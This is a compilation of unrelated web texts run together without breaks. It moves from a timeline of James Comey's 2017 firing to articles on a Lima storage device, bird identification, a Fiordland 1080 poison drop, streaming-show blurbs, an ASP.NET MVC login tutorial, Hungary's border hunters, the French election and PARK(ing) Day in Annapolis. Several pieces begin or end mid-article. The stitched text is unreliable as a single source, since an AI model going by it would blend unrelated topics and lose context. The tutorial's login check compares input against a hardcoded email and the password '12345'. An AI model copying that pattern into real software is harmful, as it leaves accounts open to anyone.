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As details continue to emerge about President Trump’s extraordinary firing of FBI Director James Comey, there are growing indications that the FBI’s investigation of Trump campaign ties to Russia was a key motive in the termination. Here’s a play by play of the controversy:
July 5: Comey announces that the FBI did not find evidence to support criminal charges against Hillary Clinton for her use of a private email server as Secretary of State. Comey also concludes that Clinton and her staff were “extremely careless” in their handling of classified information.
July 7: Comey testifies before the House Oversight Committee, reaffirming his decision not to charge Clinton.
Late July: The FBI launches a counterintelligence investigation into contacts between Trump associates and Russia. There is no public confirmation of this investigation at the time, but Comey later confirms it in a March 2017 hearing before the House Intelligence Committee.
August 16: The FBI defends its decision not to recommend charges against Hillary Clinton in a letter to House Oversight Committee members.
September 28: Testifying before the House Judiciary Committee, Comey says that reopening the Clinton email investigation is not necessary.
October 28: Comey sends a letter to members of Congress saying that the FBI would be re-opening its investigation into Clinton’s emails, following the discovery of new emails on the laptop of former congressman Anthony Weiner, which was seized as part of a criminal investigation into Weiner. The laptop was also used by Weiner’s then-wife, top Clinton aide Huma Abedin; some of the newly-discovered emails included messages between Abedin and Clinton.
October 31: At a campaign rally, Trump praises Comey’s handling of the Clinton investigation: “It took guts for Director Comey to make the move that he made, in light of the kind of opposition he had, where they’re trying to protect her from criminal prosecution,” Trump said. “What he did was the right thing.”
So Trump fired Comey, citing his handling of the Clinton case. This was Trump on Comey in October, after the Clinton letter. Watch. pic.twitter.com/CjPLsxshlH — Bradd Jaffy (@BraddJaffy) May 10, 2017
January 10: Comey testifies at a Senate Intelligence Committee hearing; he declines to say whether the FBI is investigating Trump campaign ties to Russia.
“We have had a great relationship with [Comey] over the last several weeks,” said Priebus. “He’s extremely competent.”
January 15: Incoming White House chief of staff Reince Priebus says the president-elect has no plans to remove the FBI chief. “Yes, he has confidence in Director Comey,” Priebus says. “We have had a great relationship with him over the last several weeks. He’s extremely competent.”
January 18: During a weekly conference call with senior employees, Comey conveys that the president-elect will not be asking him to leave his post.
January 22: At a White House event two days after his inauguration, Trump introduces Comey: “Oh there’s Jim, he’s become more famous than me.”
February 17: Comey meets with members of the Senate Intelligence Committee, which sends letters to more than a dozen agencies, groups, and individuals asking them to preserve all communications related to the investigation of Russian interference in the 2016 election.
March 2: After revelations the previous day that Sen. Jeff Sessions during his confirmation hearings did not disclose his two conversations with Russian Ambassador Sergey Kislyak, Sessions announces: “I have now decided to recuse myself from any existing or future investigations of any matter relating in any way to the campaigns for president of the United States.”
March 4: Without providing any proof, Trump alleges that President Obama had him under surveillance during the election.
Terrible! Just found out that Obama had my “wires tapped” in Trump Tower just before the victory. Nothing found. This is McCarthyism! — Donald J. Trump (@realDonaldTrump) March 4, 2017
March 20: The House Intelligence Committee holds its first public hearing on its Russia investigation. Comey testifies that the FBI has since July been “investigating the nature of any links between individuals associated with the Trump campaign and the Russian government, and whether there was any coordination between the campaign and Russia’s efforts.” Comey also dismisses Trump’s surveillance claim: “With respect to the president’s tweets about alleged wiretapping directed at him by the prior administration, I have no information that supports those tweets and we have looked carefully inside the FBI.”
“I have confidence in him,” Trump reiterated about Comey in mid April.
April 12: Fox Business’s Maria Bartiromo asks Trump: “Was it a mistake not to ask Jim Comey to step down from the FBI at the outset of your presidency? Is it too late now to ask him to step down?” Trump responds: “No, it’s not too late, but, you know, I have confidence in him. We’ll see what happens. You know, it’s going to be interesting.”
Last month, President Trump told @MariaBartiromo on Fox Business that he had confidence in Comey pic.twitter.com/OW8zfS7lmZ — Alex Hooper (@alex__hooper) May 10, 2017
May 2: Trump tweets that Comey is “the best thing that ever happened to Hillary Clinton” and declares the Russia story the Democrats’ excuse for losing the election:
FBI Director Comey was the best thing that ever happened to Hillary Clinton in that he gave her a free pass for many bad deeds! The phony… — Donald J. Trump (@realDonaldTrump) May 3, 2017
…Trump/Russia story was an excuse used by the Democrats as justification for losing the election. Perhaps Trump just ran a great campaign? — Donald J. Trump (@realDonaldTrump) May 3, 2017
May 3: Comey testifies before the Senate Judiciary Committee about his decision in October to re-open the Clinton email investigation. “It makes me mildly nauseous to think that we may have had some impact on the election,” Comey says, but justifies his decision based on Abedin’s “regular practice” of forwarding “hundreds of thousands of emails, some of which contain classified information.”
May 8: ProPublica reports that Comey’s latest remarks about Abedin’s forwarding of emails was greatly exaggerated.
May 9: The FBI sends a letter to the Senate Judiciary Committee to correct the record on Comey’s testimony. The agency notes that most of the relevant Abedin emails on the laptop were via device back-ups—only “a small number” came from manual forwarding. Few contained classified information, and none were new to the investigation.
– While Comey is conducting FBI business in Los Angeles, Trump fires him via letter. Trump cites the counsel of Attorney General Jeff Sessions and Deputy Attorney General Rod Rosenstein, whose memo to Trump focuses heavily on Comey’s handling of the Clinton email probe. (Read Trump’s letter firing Comey, and Sessions’ and Rosenstein’s memos, below.)
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<a href=”https://assets.documentcloud.org/documents/3711455/James-Comey.pdf”>James Comey (PDF)</a><br /><br />
<br><a href=”https://assets.documentcloud.org/documents/3711455/James-Comey.txt”>James Comey (Text)</a><br /><br />
–CNN reports that the US attorney’s office in Alexandria, Virginia has issued grand jury subpoenas to associates of former Trump national security adviser Michael Flynn.
-Within hours of Comey’s firing, more than 100 lawmakers, including a few Republicans, call for an independent investigator or special prosecutor to take over the FBI’s Russia investigation.
May 10: Trump takes to Twitter to defend his firing of James Comey amid an intense backlash. “Comey lost the confidence of almost everyone in Washington, Republican and Democrat alike. When things calm down, they will be thanking me!” he writes.
The Democrats have said some of the worst things about James Comey, including the fact that he should be fired, but now they play so sad! — Donald J. Trump (@realDonaldTrump) May 10, 2017
James Comey will be replaced by someone who will do a far better job, bringing back the spirit and prestige of the FBI. — Donald J. Trump (@realDonaldTrump) May 10, 2017
Comey lost the confidence of almost everyone in Washington, Republican and Democrat alike. When things calm down, they will be thanking me! — Donald J. Trump (@realDonaldTrump) May 10, 2017
-CNN reports that a source claims that Trump confidant Roger Stone urged Trump to fire Comey. Within minutes, Trump responds to the report on Twitter, calling out CNN and saying the report is “fake news.”
The Roger Stone report on @CNN is false – Fake News. Have not spoken to Roger in a long time – had nothing to do with my decision. — Donald J. Trump (@realDonaldTrump) May 10, 2017
Stone says on Twitter that he “never made such a claim” but supports Trump’s decision “100%.”
-Russian Foreign Minister Sergey Lavrov arrives in Washington for meetings with Secretary of State Rex Tillerson and Trump. At a press conference with Tillerson, a reporter asks about the Comey firing. Lavrov mocks the questions and feigns ignorance of the news before walking away.
Here’s video of Lavrov-Tillerson—> Q: “Does Comey cast a shadow over your talks?” Lavrov: “Was he fired? You are kidding, you are kidding” pic.twitter.com/8yJb2DkZnd — Tom Namako (@TomNamako) May 10, 2017
-At the Capitol, GOP Senate Majority Leader Mitch McConnell rejects calls for a special prosecutor to take over the Russia probe: “Today we’ll no doubt hear calls for a new investigation, which could only serve to impede the current work being done.”
-In a brief exchange with a CBS News reporter at a hockey game in Sochi, Russia, President Vladimir Putin says that Comey’s firing “will have no effect” on US-Russia relations. “Your question looks very funny for me, don’t be angry with me,” Putin scoffs. “We have nothing to do with that. President Trump is acting in accordance with his competence, and in accordance with his law and constitution…You see, I’m going to play hockey with hockey fans.”
Our @elizapalmer caught Russian Pres. Putin rink side and asked him about the firing of former. Dir. Comey. pic.twitter.com/3nytJYi0si — CBS Evening News (@CBSEveningNews) May 10, 2017
-The New York Times reports that just days prior to his dismissal, Comey asked—in a meeting with Deputy AG Rosenstein—for additional resources for the FBI’s Russia investigation.
-CNN reports that a source close to Comey says Comey was fired for two reasons: 1) Never providing the president with assurances of personal loyalty, and 2) The acceleration of the FBI’s Russia investigation.
May 11: Acting FBI Director Andrew McCabe testifies in a Senate hearing that the White House has misled the public about the FBI’s Russia investigation and regard for Comey at the agency. He says the Russia probe is “highly significant” and that “Comey enjoyed broad support within the FBI and still does to this day.”
-The New York Times and CNN each report via sources close to James Comey that part of President Trump’s motivation for firing Comey was the FBI director’s refusal to swear political loyalty to the president. The Times details a conversation between Trump and Comey during a one-on-one dinner that took place at the White House on January 27—just one day after former acting Attorney General Sally Yates warned the Trump White House that then National Security Adviser Michael Flynn was vulnerable to blackmail by the Kremlin. Three days before the dinner, on Jan. 24, Flynn had been interviewed by the FBI about his contacts with the Russian ambassador. In the conversation with Yates the day before the Comey dinner, White House Counsel Don McGahn asked Yates for information on Flynn’s FBI interview, and Yates declined to answer.
-Trump says in an NBC interview that he asked Comey three times whether he is personally under investigation by the FBI for possible Russia ties—twice on the phone, and once at the January 27 dinner. Trump claims that Comey reassured him that he is not under investigation. (Sources close to Comey say this never happened.)
May 16: The New York Times reports that during an Oval Office meeting in February, Donald Trump asked then FBI director James Comey to drop the agency’s investigation into Michael Flynn, who had resigned the day before amid controversy over his discussions of US sanctions with the Russian ambassador. “I hope you can see your way clear to letting this go, to letting Flynn go,” Trump said to Comey, according to a two-page memo Comey drafted after the meeting. “He is a good guy. I hope you can let this go.” The Washington Post and Politico subsequently confirmed the Times’ account. According to the paper, Comey kept detailed records of all of his conversations with the president.
-The Washington Post reports that Comey shared his memos with a small number of people at the Justice Department. (It’s unclear whether those officials include Rod Rosenstein or Jeff Sessions, who were involved in Comey’s firing.)
May 17: Eleven Democratic senators send a letter to the Justice Department Inspector General asking him to investigate whether Attorney General Jeff Sessions violated his pledge to recuse himself from any investigations connected to the 2016 election when he took part in the firing of FBI Director James Comey.
-Deputy Attorney General Rod Rosenstein appoints former FBI director Robert Mueller to serve as a special counsel to investigate Russian interference in the 2016 election.
May 19: The New York Times reports that in Trump’s May 10 Oval Office meeting with Russian foreign minister Sergey Lavrov and Russian ambassador Sergey Kislyak, Trump called former FBI director Comey a “nut job” and expressed relief at his ouster. “I just fired the head of the F.B.I. He was crazy, a real nut job,” Trump said, according to a document summarizing the meeting, which an American official read to The New York Times. “I faced great pressure because of Russia. That’s taken off.”
May 25: The Washington Post reports that Jared Kushner has been identified as a focus of the FBI’s investigation into Russia and the Trump campaign, according to people familiar with the investigation. This makes Kushner—who was reported to have strongly advocated Comey’s firing—the first White House official revealed to be central in the FBI’s probe.
June 2: Bloomberg News reports that the Trump White House is reviewing whether to invoke executive privilege to prevent Comey from testifying publicly before the Senate Intelligence Committee, scheduled for June 8.
June 6: The Washington Post reports that on March 22, Trump asked Director of National Intelligence Daniel Coats and CIA director Mike Pompeo whether he could ask then-FBI director James Comey for the bureau “to back off its focus” on Michael Flynn. Coats reportedly discussed the meeting with some of his associates, deciding that this sort of intervention would not be appropriate. “The events involving Coats show the president went further than just asking intelligence officials to deny publicly the existence of any evidence showing collusion during the 2016 election,” the Post reports. “The interaction with Coats indicates that Trump aimed to enlist top officials to have Comey curtail the bureau’s probe.”
– The New York Times reports that the day after a February Oval Office meeting in which Trump asked James Comey to drop the bureau’s investigation of Michael Flynn, Comey asked Attorney General Jeff Sessions to ensure that Comey was never left alone with the president. According to several law enforcement officials, Comey did not reveal what was said during his meeting with the Trump but told Sessions it was inappropriate for the FBI director to speak privately with the president.
June 7: Testifying before the Senate intelligence committee, Director of National Intelligence Dan Coats and National Security Agency Director Mike Rogers refuse to answer questions about whether Donald Trump had asked them to intervene in the FBI’s Russia investigation.
As a reminder, here’s how Lima works: you plug your router into the little adapter, as well as one or multiple USB drives. After that, you launch the app on your computer and then everything will go through Lima thanks to a deep filesystem integration. All your files will be moved to those drives and available on all your devices, at home or away. The only limit of this Dropbox alternative is the amount of storage space you have on your USB drives.
Lima is actually a small Linux-based machine that creates a VPN network between your devices and the adapter. The overall experience feels a lot like browsing and using your Dropbox files, except that you can choose to cache some folders on your device or not — it works like the offline playlist button in Spotify. Finally, you don’t have to pay a subscription fee and you own your files since they are not stored in an Amazon S3 data center. Lima expects to deliver its adapters in December.
For its new Google Chromecast feature, the company takes advantage of the SDK to stream media content to your TV using your phone or tablet. Music, photos and even videos should all work. For a little bit more than $100 ($69 + $35), you can stream everything that is on your computer from your sofa.
“We automatically re-encode all the videos that are stored on Lima,” co-founder and CEO Séverin Marcombes tells me. “An h.264 version of each video will be kept in Lima’s cache.”
That step was already necessary to allow Lima users to watch their videos on their phones and tablets — especially for iOS devices that can really only stream h.264 videos. The team just took it one step further by building Chromecast support into the iOS and Android apps.
Even more impressive than the device itself is the Kickstarter campaign. Back in July I wrote: “the Kickstarter campaign just started but its goal is pretty low. At $69,000, the Paris-based team will certainly attract a thousand backers to reach its goal.” It turns out that this sentence diminishes what the team has accomplished.
Birds come in all sorts of eye-catching hues, which makes them easier to spot in busy backdrops. But color isn't always the best place to start when trying to identify a species. Bluebirds aren’t always blue, goldfinches aren’t always gold—if we just focus on color, we may have to learn the same species over and over. Here are some other hints birders can rely on to get to the bottom of the mystery.
1. Group
With over 800 species of birds in North America alone, it's helpful to narrow the choices down from the get-go. Scientists use dozens of different families to group avians: It pays to learn which traits define each family. Noting that a bird is gray isn't as useful as recognizing that it’s a gray owl, or a gray gull, or a gray sparrow-like bird. Hone it down to the family level, or to a group of families, and you’ll be halfway home on the final ID. You'll even learn the subgroups in each family as you go along.
2. Shape
This is really an extension of the first clue: A bird’s shape lets you place it in the right group. Even among closely related birds, practically no two species share the same exact shape. Sandpipers, for example, all differ in leg height, bill shape, neck length, and other elements of shape. On some similar pairs of ducks, such as Greater and Lesser Scaup, or Common and Barrow’s Goldeneyes, the silhouette of the head and bill is really one of the best ID clues. Even when you’ve identified a bird by some other means, it’s a good idea to spend an extra minute studying its shape so you can recognize it in the future.
2.5. Size
This gets only half a point, because it’s such a tricky thing to judge on a lone individual. If you can view a mystery bird in direct comparison to one that you recognize, it’s good to note whether the bird is a little smaller than a robin, larger than a coot, and so on.
3. Behavior
Sometime we become so captivated by a bird’s good looks that we fail to notice what it’s actually doing. Is the bird hopping on the ground, climbing a tree trunk, wading in water, or flitting in the treetops? If it’s climbing a tree, is it hopping up like a woodpecker, creeping along the bark like a Brown Creeper, or scuttling upside down like a nuthatch? Is the bird all alone, or part of a flock? These behaviors can all point to its identity.
4. Habitat
Creatures on wings are highly mobile, and can wander outside of their typical habitats, especially during migration. But most of the time, habitat is an excellent clue. You might see a Horned Lark on the ground in a plowed field and a Red-eyed Vireo in a forest treetop, but you’re very unlikely to see them trade places.
5. Season
Birds are surprisingly predictable when it comes to timing—for many it's a matter of life or death. Local books or checklists can tell you about the seasonal occurrence of species in your area. For example, in much of the northern United States, the easiest way to tell two rusty-capped sparrows apart is to glance at the calendar: Chipping Sparrow if it's summer, American Tree Sparrow if it's winter.
6. Field marks
It’s also good to get into the habit of looking for certain kinds of markings. Does the bird have a white ring around the eye, or a pale stripe above it? Is the body marked with round spots, lengthwise stripes, or crosswise bars? Does the target have white outer tail feathers? These “trademarks of nature” often will pin down the species for you.
7. Voice
Most birders start with a visual ID, and don’t really tackle “birding by ear” until later. But if your mystery bird is making some distinct sound, it’s worthwhile to try to make a note of it.
The Department of Conservation is investigating whether 1080 poison pellets were put in a non-designated drop zone in the Fiordland National Park to make the department look bad.
Te Anau DOC operations manager Greg Lind made the suggestion on Sunday.
However, a Te Anau man who has lodged a complaint with DOC over its 1080 poison drop in Fiordland's Kepler mountains, Perrin Brown, has labelled Lind's suggestion as laughable.
"It's a typical reaction from DOC. This is how they cover things up and try to make things go away, with those sorts of statements," Brown said.
DOC used a helicopter to drop 1080 poison pellets on 25,000 hectares in the Kepler Mountains near Te Anau on September 20 and 21.
The purpose of the poison drop was to target the rat population.
Brown laid a complaint with DOC after the drop, saying some of the poisonous pellets landed in waterways and others landed outside of DOCs designated drop zone.
Brown took photos of individual 1080 pellets lying on a walking track, outside of DOCs designated 1080 drop area, near Lake Manapouri on September 24, saying he saw about 50 of the pellets.
The track he found the pellets on, between Supply Bay near Lake Manapouri and Balloon Loop on the Waiau River, was reasonably popular with Manapouri and Te Anau residents, he said.
The pellets would kill a young child or domestic animal if eaten, he said.
A hunter in the same area on September 21 said he had seen helicopters flying overhead that day and later saw 1080 pellets on the ground.
Lind did not appear convinced the pellets found in the non designated drop zone had been dropped by its helicopter, but said he was reserving judgement until an investigation had taken place.
DOC 1080 drops normally resulted in one pellet every 10sqm but DOC had found a higher density of pellets in the area they were not supposed to be in, he said.
"The distribution of the bait is very suspicious."
DOC was now checking to see whether the helicopter had mistakenly dropped the bait outside its designated area or if there were "more mischievous reasons behind it".
If it was planted it would not be the first time it had happened, he said.
Brown, a former commercial hunter, questioned Lind's logic, saying DOCs 1080 drops did not always have an even spread.
Brown also had a go at DOC for dropping the 1080 in waterways and said DOC had been lax in informing the public about the 1080 drop.
Lind, however, hit back.
The major bodies of water, including lakes Te Anau and Manapouri, were kept outside the 1080 drop zone but DOCs resource consent allowed the 1080 to land in the smaller waterways.
"The reason is 1080 rapidly breaks down in water," Lind said.
Immediately after the 1080 poison was dropped in the mountains, DOC staff walked the DOC tracks in the designated drop area and threw any 1080 pellets they found into the bush, he said.
Living with Yourself
A man who's burned out on life and love undergoes a mysterious treatment, only to find that he's been replaced by a better version of himself.
Triple Frontier
Loyalties are tested when five former special forces operatives reunite to steal a drug lord's fortune, unleashing a chain of unintended consequences.
The Last Summer
The summer after they graduate from high school, a group of teens navigate friendship, romance and family relationships before heading off to college.
Trash Truck
Six-year-old Hank and his best buddy -- a honking, snorting trash truck -- go on lots of fun adventures, from learning to fly to visiting the dentist.
Cursed
In this fresh take on the Arthurian legend, teenager Nimue joins forces with mercenary Arthur on a quest to find Merlin and deliver an ancient sword.
Jupiter's Legacy
When a superhero seizes control of the government, the next generation of heroes must join the new regime or fight back. Based on Mark Millar's comics.
My First First Love
A college student reluctantly lets a group of his friends move into his house, where they experience love, friendship, and everything in between.
The Perfect Date
In this example we will illustrate Model->View->Controller using a simple MVC login web application.
Project Overview:
HomeController.cs
Index() -> load default view of the HomeController. Where view is located at Views->Home->index.cshtml Index(LoginModel model)-> This received the data input by the user from our login form using a POST request.This return default view of the Controller which is the login form if the login details is incorrect or redirect to the landing page if successfully authenticated. AccountVerification()-> This function return boolean(true or false). This check the login credential if it is valid or not. Welcome_Page()-> This call’s the landing view if the user is successfully login.
LoginModel()-> This is a class where properties are being declared. (public string Email{get;set}). We will use this model to bind with our login view form.
chtml-> This is the Default view of Home Controller (Location Views->Home->Index.cshtml.
Welcome_Page.cshtml -> view for Welcome_Page ActionResult this serve as our UserInterface for our landing page.(Location Views->Home->Welcome_Page.cshtml)
Project output:
Let’s Start:
Note: Name your project as Simple MVC Login implementation
First create new project in Visual Studio 2013 using a default MVC Template. If this is your first time to create one visit this blog for easy instruction in creating a project How to start with Asp.Net MVC application.
After successfully creating a project go to solution explorer and navigate to Model folder and add new class for our model. Right click on Model folder choose add then select Class.
Name your class as LoginModel.
Open your LoginModel class and copy and paste code below:
LoginModel.cs Code:
Declare Email and password properties and define property requirements.
using System; using System.Collections.Generic; using System.Linq; using System.Web; using System.ComponentModel.DataAnnotations; namespace Simple_MVC_Login_implementation.Models { public class LoginModel { [Required] [Display(Name="Email")] public string Email { get; set; } [Required] [DataType(DataType.Password)] [Display(Name="Password")] public string Password { get; set; } } } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 using System ; using System . Collections . Generic ; using System . Linq ; using System . Web ; using System . ComponentModel . DataAnnotations ; namespace Simple_MVC_Login_implementation . Models { public class LoginModel { [ Required ] [ Display ( Name = "Email" ) ] public string Email { get ; set ; } [ Required ] [ DataType ( DataType . Password ) ] [ Display ( Name = "Password" ) ] public string Password { get ; set ; } } }
Note:
using System.ComponentModel.DataAnnotations; -> This is responsible for setting attribute and requirements for your properties. Ex. [Required]
Next, go to Controller folder and open file HomeController. HomeController is the default controller for generating the default view or User Interface of your web application. This is where we put all the Process we will need for the project.
Replace the code from your HomeController with the code below.
Home Controller Code:
using System; using System.Collections.Generic; using System.Linq; using System.Web; using System.Web.Mvc; using Simple_MVC_Login_implementation.Models; namespace Simple_MVC_Login_implementation.Controllers { public class HomeController : Controller { public ActionResult Index() { return View(); } [HttpPost] public ActionResult Index(LoginModel model) { if (!ModelState.IsValid) { return View(model); } if (AccountVerification(model.Email, model.Password)) { return RedirectToAction("Welcome_Page",model); } else { ModelState.AddModelError("", "Invalid Input Details"); } return View(); } public bool AccountVerification(string Email,string password) { bool result = false; if (Email == "test@gmail.com" && password == "12345") { result = true; } return result; } public ActionResult Welcome_Page(LoginModel model) { return View(model); } } } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 using System ; using System . Collections . Generic ; using System . Linq ; using System . Web ; using System . Web . Mvc ; using Simple_MVC_Login_implementation . Models ; namespace Simple_MVC_Login_implementation . Controllers { public class HomeController : Controller { public ActionResult Index ( ) { return View ( ) ; } [ HttpPost ] public ActionResult Index ( LoginModel model ) { if ( ! ModelState . IsValid ) { return View ( model ) ; } if ( AccountVerification ( model . Email , model . Password ) ) { return RedirectToAction ( "Welcome_Page" , model ) ; } else { ModelState . AddModelError ( "" , "Invalid Input Details" ) ; } return View ( ) ; } public bool AccountVerification ( string Email , string password ) { bool result = false ; if ( Email == [email protected]" && password == "12345" ) { result = true ; } return result ; } public ActionResult Welcome_Page ( LoginModel model ) { return View ( model ) ; } } }
HomeController function details:
Index() -> This return Default view of HomeController which is our Login Form
which is our Login Form Index(LoginModel model) – > This receive model data from our view (Login Form) using a post request. It also redirects the page to our welome_page view if credential is successfully validated.
AccountVerification(string Email,string password) – > This function use to verify if email and password match to your valid credential.
ModelState.IsValid -> Controller properties that check model property state.
Index.cshtml Code:
Output:
Open your HomeController default view which is index.cshtml located at your solution explorer Views->Home->Index.cshtml.
To bind our Model to our Login form use html helper to generate your form.
Copy and paste code below to your index.cshtml.
@using Simple_MVC_Login_implementation.Models -> access model properties.
@model LoginModel-> Bind LoginModel to our View.
Code below creates a simple login form design.
@using Simple_MVC_Login_implementation.Models @model LoginModel @{ ViewBag.Title = "Home Page"; } <div class="row"> <br/> @using (Html.BeginForm("Index", "Home", FormMethod.Post, new { @class = "form-horizontal",role="form" })) { <fieldset> @Html.ValidationSummary(true, "", new { @class = "text-danger" }) <!--Enable Data Anotation--> <div class="form-group"> @Html.LabelFor(m => m.Email, new { @class = "col-lg-2 control-label"}) <div class="col-lg-10"> @Html.TextBoxFor(m => m.Email, new { @class = "form-control"}) @Html.ValidationMessageFor(m => m.Email, "", new { @class="text-danger"}) <!Display of Error Notification--> </div> </div> <div class="form-group"> @Html.LabelFor(m => m.Password, new { @class = "col-lg-2 control-label"}) <div class="col-lg-10"> @Html.PasswordFor(m => m.Password, new { @class = "form-control" }) @Html.ValidationMessageFor(m => m.Password, "", new { @class = "text-danger" })<!Display of Error Notification--> </div> </div> <div class="form-group"> <div class="col-lg-10 col-lg-offset-2"> <button type="submit" class="btn btn-primary">Login</button> </div> </div> </fieldset> } </div> 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 @ using Simple_MVC_Login_implementation . Models @ model LoginModel @ { ViewBag . Title = "Home Page" ; } < div class = "row" > < br / > @ using ( Html . BeginForm ( "Index" , "Home" , FormMethod . Post , new { @ class = "form-horizontal" , role = "form" } ) ) { < fieldset > @ Html . ValidationSummary ( true , "" , new { @ class = "text-danger" } ) < ! -- Enable Data Anotation -- > < div class = "form-group" > @ Html . LabelFor ( m = > m . Email , new { @ class = "col-lg-2 control-label" } ) < div class = "col-lg-10" > @ Html . TextBoxFor ( m = > m . Email , new { @ class = "form-control" } ) @ Html . ValidationMessageFor ( m = > m . Email , "" , new { @ class = "text-danger" } ) < ! Display of Error Notification -- > < / div > < / div > < div class = "form-group" > @ Html . LabelFor ( m = > m . Password , new { @ class = "col-lg-2 control-label" } ) < div class = "col-lg-10" > @ Html . PasswordFor ( m = > m . Password , new { @ class = "form-control" } ) @ Html . ValidationMessageFor ( m = > m . Password , "" , new { @ class = "text-danger" } ) < ! Display of Error Notification -- > < / div > < / div > < div class = "form-group" > < div class = "col-lg-10 col-lg-offset-2" > < button type = "submit" class = "btn btn-primary" > Login < / button > < / div > < / div > < / fieldset > } < / div >
Lastly, create a landing page or welcome page for your application. This will be displayed after a user has successfully validated his credentials.
To add new View, from your solution explorer right click on the Home folder inside the views folder and choose Add then select MVC 5 View Page with Layout (Razor).
Then choose layout for your view.
Then choose layout for your view.
Open Welcome_Page view. Copy and paste code below:
Welcome_Page Code:
Display welcome message including the email used to log in.
@using Simple_MVC_Login_implementation.Models @model LoginModel @{ Layout = "~/Views/Shared/_Layout.cshtml"; } <div class="jumbotron"> <h2>Welcome To My Page!</h2> <h3>You are Log in as @Model.Email</h3> </div> 1 2 3 4 5 6 7 8 9 10 @ using Simple_MVC_Login_implementation . Models @ model LoginModel @ { Layout = "~/Views/Shared/_Layout.cshtml" ; } < div class = "jumbotron" > < h2 > Welcome To My Page ! < / h2 > < h3 > You are Log in as @ Model . Email < / h3 > < / div >
Output:
You’re all set!
This project explains the basic flow of Asp.Net MVC. Make it as your guide in starting MVC projects.
Thank you for reading hopes this helps.
The nation is hoping to attract 3,000 border hunters to support the 10,000 police officers and soldiers already trying to keep migrants – many of whom have come from war-torn Middle Eastern countries such as Syria and Iraq – at bay in Serbia, the BBC reported. Hungary hopes to have the hunters in place by May. Recruits must be 18 and pass a psychological test. They will be trained for six months before going on duty.
“Hungary does not need a single migrant for the economy to work or the population to sustain itself or for the country to have a future,” Prime Minister Viktor Orban said. “Every single migrant poses a public security and terror risk.”
Those in favor of strict border control have strongly tied migration to an increased threat of terrorism. A series of billboards around the country notes the November terror attacks in Paris “were carried out by migrants.” The ads also say that “since the beginning of the migration crisis more than 300 people died in terrorist attacks in Europe.”
Opponents, however, say the anti-migration platform is rooted in racism.
“They have launched this extremely vile campaign to portray migrants as rapists and terrorists who can only be stopped if we put up walls to protect our Christian identity,” Hungarian Helsinki Committee Co-chair Marta Pardavi told The Post. “To them, it doesn’t matter that it’s not true what they’re saying. They have created a great opportunity for racists.”
More than 100,000 migrants remain holed up in Greece and Italy, the countries where most asylum seekers begin their European trek. The European Union has said all of its countries must help with resettlement, but Hungary is one of several countries suing the E.U. in an attempt to overturn that edict.
An opinion poll released Friday by Odoxa shows her nearly neck-and-neck with centrist candidate Emmanuel Macron, a jump in the past week. Analysts point out that the latest attack in Paris, which killed a police officer and left three other people wounded Thursday, may have contributed to her surge in support.
HOW FRANCE'S ELECTION COULD HAVE A BIG IMPACT ON UNITED STATES
Still, the race is far from decided. As many as one-third of voters had not settled on a candidate this week, Newsweek reported. President Trump said he believed the Champs-Elysees attack would help Le Pen, while former President Barack Obama offered Macron his best wishes in a phone call Thursday. Both Trump and Obama stopped short of full endorsements.
Election stations opened Saturday in French overseas territories voting first -- one day earlier than on the mainland.
Newsweek found many voters across France saying they were leaning toward Le Pen -- which would parallel the surge for Trump last year among undecided voters and supporters who chose to lay low.
'COULD LE PEN WIN?' A GUIDE TO THE FRENCH PRESIDENTIAL ELECTION
André Robert, 56, said her tough stance on terror convinced him. “I’m voting for the candidate who’ll keep us safe.”
“Marine gets me shaking,” 65-year-old Monique Zaouchkevitch said, adding that she'd stayed out of politics until she heard Le Pen speak. “Marine, she’s close to the people.”
In another parallel to the U.S., some voters seemed to suffer from election fatigue and weren't blown away by any of the candidates. Gabriel Roberoir, a 61-year-old former public servant, called the election a “circus,” adding, “I don’t even know why any of them are running.”
Sunday's vote is the first round in the French elections, with the top two candidates advancing to a winner-take-all runoff on May 7. The high-stakes contest is viewed as something of a vote on the future of the European Union, with Le Pen calling for a referendum on France's membership in the bloc.
In a sign of how tense the country has become, a man holding a knife caused widespread panic Saturday at Paris' Gare du Nord train station. He was arrested and no one was hurt.
Conservative former Prime Minister Francois Fillon, whose campaign was initially derailed by corruption allegations that his wife was paid as his parliamentary aide, also appeared to be closing the gap, as was far-leftist, Jean-Luc Melenchon. Campaigning by the 11 presidential candidates got off to a slow start, bogged down by corruption charges around once-top candidate Fillon before belatedly switching focus to France's biggest fear: a new attack.
Le Pen has also echoed some of Trump's hard-line rhetoric on immigration, calling for hardening French borders to stanch what she describes as an out-of-control flow of immigrants.
She has spoken of radical Muslims trying to supplant France's Judeo-Christian heritage and, among other measures, has called for foreigners suspected of extremism to be expelled from the country.
Le Pen, a 48-year-old mother of three, has distanced herself from her father, National Front party founder Jean-Marie Le Pen, who has been convicted of crimes related to anti-Semitism and mocked the Holocaust as a "detail" of history.
Nevertheless, earlier this month she denied the French state was responsible for the roundup of Jews during World War II, drawing condemnation from other presidential candidates and Israel's Foreign Ministry.
A victory for Macron would be a vote of confidence in France staying in the EU. Obama, when he was in office, encouraged Britain not to leave, though it ultimately voted to do so anyway.
Trump backed Britain's decision to exit from the EU and has also predicted that other countries would make similar decisions. Yet during a White House news conference Thursday, the president said he believed in a strong Europe.
"A strong Europe is very, very important to me as president of the United States," he said.
Artists, designers and citizens transformed five metered parking spaces in downtown Annapolis into temporary public parks on Friday.
The compact parks were created as part of a global event called PARK(ing) Day, which is celebrated each year on the third Friday in September. The idea to create temporary parks in urban settings started in San Fransisco in 2005, but this was the first year anyone built one in Annapolis.
"I am committed to fostering an environment in which we are not afraid to try new things," Mayor Josh Cohen said in a press release. "Park(ing) Day in Annapolis is a great example of how the community and City Hall can come together to make cool things happen."
The parks were out from around 10 a.m. to 6 p.m. If you missed your chance to see them, here's a quick tour:
1) Zachary's Jewelers—Bignell Watkins Hasser Architects
The architects from this Main Street Annapolis firm got together a created a chess set in front of Zachary's Jewelers and encouraged passersby to play. Architect Colleen Bathon said the idea for a chess set came about as a tongue and cheek reference to the Chesapeake Bay.
"We wanted to get the dialogue going that you don't always need so much space for parking, and we wanted to reclaim that space if only for a day," Batton said.
2) City Dock—Maryland Society of Landscape Architects
Amanda Seydler brings her daughter Gracyn down to City Dock to feed the birds, but she didn't expect to spend the afternoon playing in a miniature park on City Dock.
